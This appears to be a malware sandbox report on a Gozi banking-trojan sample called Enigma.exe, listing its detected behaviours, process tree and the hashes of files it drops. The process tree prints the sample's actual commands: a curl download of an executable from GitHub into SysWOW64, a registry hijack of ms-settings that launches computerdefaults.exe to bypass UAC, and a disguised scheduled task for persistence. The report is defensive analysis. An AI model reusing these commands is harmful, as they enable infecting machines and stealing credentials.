Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    16/04/2024, 21:04

General

  • Target

    Enigma.exe

  • Size

    1.2MB

  • MD5

    d0f80a39b6f0a3beac677c6846c3b41a

  • SHA1

    d7b1f3b1b53fa474247f9d4e63b959aa902866a4

  • SHA256

    3ef10a8b44eb13fc45d40ced592fe9f1a83e6b021b3681da61f7cce688304047

  • SHA512

    38cf9347f60cfa8a700f040e647deaac3309db71919b508ef7bf82f39b3497a5124413cdaae2ddc522200b23ab4c832f7c6ba72e673c8496ee8a36326c889270

  • SSDEEP

    24576:3stMPfK4jgsfALDEx/AoO0RwqvpVQqblqJRYu/UZfh+n6A6qtFa:3stb+Jlp3gJerIn6ApF

Malware Config

Extracted

Family

gozi

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:3396
    • C:\Users\Admin\AppData\Local\Temp\Enigma.exe
      "C:\Users\Admin\AppData\Local\Temp\Enigma.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Looks for VirtualBox Guest Additions in registry
      • Checks BIOS information in registry
      • Drops file in System32 directory
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1340
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start https://discord.gg/P5448HTPrE
        3⤵
        • Checks computer location settings
        PID:2276
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c color D
        3⤵
          PID:3760
        • C:\Windows\SysWOW64\kdmapper.exe
          "C:\Windows\SysWOW64\kdmapper.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4704
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\appledamage91697.vbs" /f
            4⤵
            • Modifies registry class
            PID:4304
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
            4⤵
            • Modifies registry class
            PID:1892
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C computerdefaults.exe
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2936
            • C:\Windows\SysWOW64\ComputerDefaults.exe
              computerdefaults.exe
              5⤵
                PID:204
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3540
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT
                5⤵
                • Creates scheduled task(s)
                PID:600
            • C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe
              "C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe" explorer.exe
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1572
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl --silent https://raw.githubusercontent.com/killebolaaaaaaaaaaaaaaaaa/pizdechui/main/mservice64.exe --output C:\Windows\SysWOW64\physmeme.exe
            3⤵
              PID:5072
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
          1⤵
          • Drops file in Windows directory
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:320
        • C:\Windows\system32\browser_broker.exe
          C:\Windows\system32\browser_broker.exe -Embedding
          1⤵
          • Modifies Internet Explorer settings
          PID:1552
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Modifies registry class
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4244
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Drops file in Windows directory
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4496
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Drops file in Windows directory
          • Modifies registry class
          PID:3728
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          PID:2964
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Drops file in Windows directory
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:4216
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Drops file in Windows directory
          • Modifies registry class
          PID:1736
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
            PID:2936
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:2972
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:5544

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\B4U56X23\edgecompatviewlist[1].xml

            Filesize

            74KB

            MD5

            d4fc49dc14f63895d997fa4940f24378

            SHA1

            3efb1437a7c5e46034147cbbc8db017c69d02c31

            SHA256

            853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

            SHA512

            cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

          • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

            Filesize

            4KB

            MD5

            1bfe591a4fe3d91b03cdf26eaacd8f89

            SHA1

            719c37c320f518ac168c86723724891950911cea

            SHA256

            9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8

            SHA512

            02f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db

          • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\9UJK9646\favicon[1].ico

            Filesize

            23KB

            MD5

            ec2c34cadd4b5f4594415127380a85e6

            SHA1

            e7e129270da0153510ef04a148d08702b980b679

            SHA256

            128e20b3b15c65dd470cb9d0dc8fe10e2ff9f72fac99ee621b01a391ef6b81c7

            SHA512

            c1997779ff5d0f74a7fbb359606dab83439c143fbdb52025495bdc3a7cb87188085eaf12cc434cbf63b3f8da5417c8a03f2e64f751c0a63508e4412ea4e7425c

          • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\Temp\~DF0ACE325FC620C7EA.TMP

            Filesize

            20KB

            MD5

            cd7be9d5db4419a13915ad4664b9254a

            SHA1

            b732fc7bab501f2ffd461cc7f0b0053153fdb370

            SHA256

            280dd15807b90c2db5c14d1c5933995104ecee2b17c5bdf8d8b00e543b486a23

            SHA512

            38552a818f827d232c50ba730ec57f784b01d41a983d9216b9f1ec589442eaf8fd682d29def78670bdde0350b0f8eb2ba244df14e83cc2fa99fd871a07004510

          • C:\Users\Admin\AppData\Local\Temp\30393625ab13441e930c46ea55aedc02

            Filesize

            136KB

            MD5

            ccd79426b7d78dc654ab7714486432b4

            SHA1

            f214ea40bc25d2834140c9305a2c551b48f3535a

            SHA256

            014de21dfebd669dced32a14b19ff312e485d1e1729b941e1d018d11fa5466cd

            SHA512

            28a315f3a1eaf93435404037fa021f66cfbec06f764087808dc4135a3763f7779e708c5f1e905e578775cc513fa6d785c6a44266553aa30a0940126e4b8e5b57

          • C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe

            Filesize

            124KB

            MD5

            e898826598a138f86f2aa80c0830707a

            SHA1

            1e912a5671f7786cc077f83146a0484e5a78729c

            SHA256

            df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a

            SHA512

            6827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb

          • C:\Users\Admin\AppData\Roaming\Gongle\aKAKPA5MU4\CURRENT

            Filesize

            16B

            MD5

            46295cac801e5d4857d09837238a6394

            SHA1

            44e0fa1b517dbf802b18faf0785eeea6ac51594b

            SHA256

            0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

            SHA512

            8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

          • C:\Users\Admin\AppData\Roaming\Gongle\aKAKPA5MU4\LOG

            Filesize

            332B

            MD5

            8d3025fee45ebfb1225cd35458650e73

            SHA1

            c8bd6b38097c746b8b0400ae4045cbe3a4f9d10b

            SHA256

            ed14f2f68348ebeb3223fc6e0658d4c8bcc7ed27e70dc9cde17a4c917eb38395

            SHA512

            0a055924c34b72bd57e338e649fa6381bce4162dae160313ef6a51e9cfb9ea9c7aa31f194a0803a3035e93d304fd1d7c292d9201a1c8fc1ac81599d854bf1281

          • C:\Users\Admin\AppData\Roaming\Gongle\aKAKPA5MU4\LOG.old

            Filesize

            291B

            MD5

            b2df2290f73e0eac3e80d78eb1ef3602

            SHA1

            9c079ec457fa774394508671948bf4147b9644b6

            SHA256

            838554e15d2145dd1fc86d1fd4e91a263e859a02a199688f8509f6d73b38f652

            SHA512

            791706e08f6171fa7a13a8bb70ae835dd1041e8f4cc72fe7ee2d081771222ef950dab0e17887ea88ba97ac73fca0b02f74cadda27e210b9c2b1877d8b542961d

          • C:\Users\Admin\AppData\Roaming\Gongle\aKAKPA5MU4\MANIFEST-000001

            Filesize

            41B

            MD5

            5af87dfd673ba2115e2fcf5cfdb727ab

            SHA1

            d5b5bbf396dc291274584ef71f444f420b6056f1

            SHA256

            f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

            SHA512

            de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

          • C:\Users\Admin\AppData\Roaming\Gongle\aM7ZBOWC8S\wjyk7j4u.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

            Filesize

            48KB

            MD5

            854a10c0922c27cfeffb77307ee80a71

            SHA1

            bb8cbe8467bfc490031e29fb27fe50ec014f53e2

            SHA256

            f696b1fa16384ecdec974e1bc9a8841fd50cb739818654dc3c7716821d52f69b

            SHA512

            a5004751e3b89fdf4ce49492c46d09eca1a0177c57cacc6546deb236a17c747600748537687713516565330907a2541d3bba4b96cc3b106d589e38ef09b86162

          • C:\Windows\SysWOW64\kdmapper.exe

            Filesize

            12KB

            MD5

            cc67c1499b02ac9a13501ee55c83ba95

            SHA1

            abffcbe78b02967d9d695ef369f36798f1558854

            SHA256

            7d71e02e5034e079ba05eab36632850b8c25523eee94a77ac6e76efb8911558b

            SHA512

            15124a9df7787b31c5ba6bb19906f50f1b16f2515a0de535efe119ddd1801770684146dc07c2476180250ae6768c69800f3aedbb251f3ff826fc34340c0e31b7

          • \Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll

            Filesize

            1.4MB

            MD5

            6f2fdecc48e7d72ca1eb7f17a97e59ad

            SHA1

            fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

            SHA256

            70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

            SHA512

            fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

          • memory/320-291-0x000001A511C80000-0x000001A511C81000-memory.dmp

            Filesize

            4KB

          • memory/320-293-0x000001A511C90000-0x000001A511C91000-memory.dmp

            Filesize

            4KB

          • memory/320-46-0x000001A50B780000-0x000001A50B782000-memory.dmp

            Filesize

            8KB

          • memory/320-3-0x000001A50B520000-0x000001A50B530000-memory.dmp

            Filesize

            64KB

          • memory/320-22-0x000001A50B900000-0x000001A50B910000-memory.dmp

            Filesize

            64KB

          • memory/1340-651-0x00007FF6C7BB0000-0x00007FF6C7CF2000-memory.dmp

            Filesize

            1.3MB

          • memory/1340-334-0x00007FF6C7BB0000-0x00007FF6C7CF2000-memory.dmp

            Filesize

            1.3MB

          • memory/1340-454-0x00007FF6C7BB0000-0x00007FF6C7CF2000-memory.dmp

            Filesize

            1.3MB

          • memory/1736-649-0x000001E4DDD30000-0x000001E4DDD32000-memory.dmp

            Filesize

            8KB

          • memory/1736-644-0x000001E4DE6D0000-0x000001E4DE6D2000-memory.dmp

            Filesize

            8KB

          • memory/1892-137-0x0000000000870000-0x00000000009BA000-memory.dmp

            Filesize

            1.3MB

          • memory/1892-134-0x0000000000870000-0x000000000091E000-memory.dmp

            Filesize

            696KB

          • memory/3396-526-0x0000000000910000-0x0000000000918000-memory.dmp

            Filesize

            32KB

          • memory/3396-516-0x0000000000910000-0x0000000000918000-memory.dmp

            Filesize

            32KB

          • memory/3396-517-0x00000000009C0000-0x00000000009C1000-memory.dmp

            Filesize

            4KB

          • memory/3396-520-0x0000000000910000-0x0000000000918000-memory.dmp

            Filesize

            32KB

          • memory/3396-522-0x0000000000910000-0x0000000000918000-memory.dmp

            Filesize

            32KB

          • memory/3728-225-0x000001DFAB2F0000-0x000001DFAB2F2000-memory.dmp

            Filesize

            8KB

          • memory/3728-207-0x000001DFAAD60000-0x000001DFAAD62000-memory.dmp

            Filesize

            8KB

          • memory/3728-209-0x000001DFAADE0000-0x000001DFAADE2000-memory.dmp

            Filesize

            8KB

          • memory/3728-277-0x000001DFBED00000-0x000001DFBEE00000-memory.dmp

            Filesize

            1024KB

          • memory/3728-274-0x000001DFBFA60000-0x000001DFBFB60000-memory.dmp

            Filesize

            1024KB

          • memory/4216-486-0x000001E4F5D80000-0x000001E4F5E80000-memory.dmp

            Filesize

            1024KB

          • memory/4216-490-0x000001E4F6C80000-0x000001E4F6D80000-memory.dmp

            Filesize

            1024KB

          • memory/4216-481-0x000001E4E56C0000-0x000001E4E56E0000-memory.dmp

            Filesize

            128KB

          • memory/4704-872-0x00000000048E0000-0x00000000048F0000-memory.dmp

            Filesize

            64KB

          • memory/4704-60-0x0000000073C80000-0x000000007436E000-memory.dmp

            Filesize

            6.9MB

          • memory/4704-524-0x0000000006C00000-0x0000000006C12000-memory.dmp

            Filesize

            72KB

          • memory/4704-801-0x0000000073C80000-0x000000007436E000-memory.dmp

            Filesize

            6.9MB

          • memory/4704-853-0x00000000048E0000-0x00000000048F0000-memory.dmp

            Filesize

            64KB

          • memory/4704-68-0x0000000004E90000-0x000000000538E000-memory.dmp

            Filesize

            5.0MB

          • memory/4704-869-0x0000000005A00000-0x0000000005A66000-memory.dmp

            Filesize

            408KB

          • memory/4704-870-0x0000000002190000-0x000000000219A000-memory.dmp

            Filesize

            40KB

          • memory/4704-459-0x0000000005ED0000-0x0000000006B72000-memory.dmp

            Filesize

            12.6MB

          • memory/4704-871-0x0000000009DA0000-0x0000000009DAA000-memory.dmp

            Filesize

            40KB

          • memory/4704-873-0x0000000005A80000-0x0000000005A8C000-memory.dmp

            Filesize

            48KB

          • memory/4704-874-0x0000000009E40000-0x0000000009E48000-memory.dmp

            Filesize

            32KB

          • memory/4704-66-0x00000000048F0000-0x0000000004982000-memory.dmp

            Filesize

            584KB

          • memory/4704-64-0x0000000002380000-0x000000000238A000-memory.dmp

            Filesize

            40KB

          • memory/4704-65-0x00000000048E0000-0x00000000048F0000-memory.dmp

            Filesize

            64KB

          • memory/4704-346-0x000000000A2E0000-0x000000000AEE0000-memory.dmp

            Filesize

            12.0MB

          • memory/4704-981-0x000000000B480000-0x000000000B532000-memory.dmp

            Filesize

            712KB

          • memory/4704-982-0x0000000009E60000-0x0000000009E82000-memory.dmp

            Filesize

            136KB

          • memory/4704-983-0x000000000B530000-0x000000000B5A6000-memory.dmp

            Filesize

            472KB

          • memory/4704-984-0x000000000A270000-0x000000000A28E000-memory.dmp

            Filesize

            120KB

          • memory/4704-61-0x0000000002390000-0x00000000023AA000-memory.dmp

            Filesize

            104KB

          • memory/4704-986-0x000000000B5B0000-0x000000000B600000-memory.dmp

            Filesize

            320KB

          • memory/4704-987-0x000000000B600000-0x000000000B66A000-memory.dmp

            Filesize

            424KB

          • memory/4704-988-0x000000000B670000-0x000000000B9C0000-memory.dmp

            Filesize

            3.3MB

          • memory/4704-989-0x000000000B9C0000-0x000000000BA0B000-memory.dmp

            Filesize

            300KB

          • memory/4704-993-0x000000000CAA0000-0x000000000CADC000-memory.dmp

            Filesize

            240KB

          • memory/4704-994-0x000000000CA60000-0x000000000CA80000-memory.dmp

            Filesize

            128KB

          • memory/4704-59-0x0000000000140000-0x000000000014C000-memory.dmp

            Filesize

            48KB

          • memory/4704-1001-0x000000000BA10000-0x000000000BA1A000-memory.dmp

            Filesize

            40KB

          • memory/4704-1002-0x00000000048E0000-0x00000000048F0000-memory.dmp

            Filesize

            64KB